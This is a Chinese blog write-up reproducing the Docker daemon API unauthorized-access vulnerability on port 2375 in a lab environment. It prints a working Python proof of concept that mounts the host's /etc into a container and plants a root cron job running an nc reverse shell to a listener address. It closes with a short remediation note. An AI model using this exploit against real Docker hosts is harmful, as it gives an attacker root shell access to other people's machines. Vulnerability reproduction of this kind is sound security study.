docker漏洞复现

简介

参考链接:

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 LinuxWindows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。

docker daemon api 未授权访问漏洞

参考链接:

docker在安装完成后默认是不允许远程访问的,而如果开启了远程访问,则可以通过API对docker进行操作,比如创建/删除container操作等。除了单纯地开启远程访问外,像集群(如docker swarm)使用如果配置不当,也可能会造成API对外开放。

漏洞复现

启动环境,环境启动后,访问http://your-ip:2375/version,即可看到docker信息。

a

环境启动之后,在该漏洞环境中,已经有P神写的poc.py文件了,内容如下:

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('ubuntu:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

上面内容是通过调用对外开放的API,使用ubuntu:latest镜像,启用一个容器(如果没有该镜像会自动拉取),该容器会将主机的/etc目录挂载到容器的/tmp/etc目录下,之后将自动计划任务写入到/tmp/etc/crontabs/root中,也就是主机root的计划任务中。第一个your-ip是目标主机的IP地址,第二个your-ip是接收反弹shell的IP地址。

接收端使用nc监听端口9999,使用python运行poc.py文件,运行之后,因为是计划任务,所以要等待一段时间。

b

c

获得的这个shell按道理讲应该是宿主机的,因为修改的计划任务文件是宿主机的。但是反弹的这个shell并不好使,emmm。

漏洞修复

禁止远程API接口对外开放,或者限制可访问IP地址。

本博客虽然很垃圾,但所有内容严禁转载
原文地址:https://www.cnblogs.com/ahtoh/p/15792845.html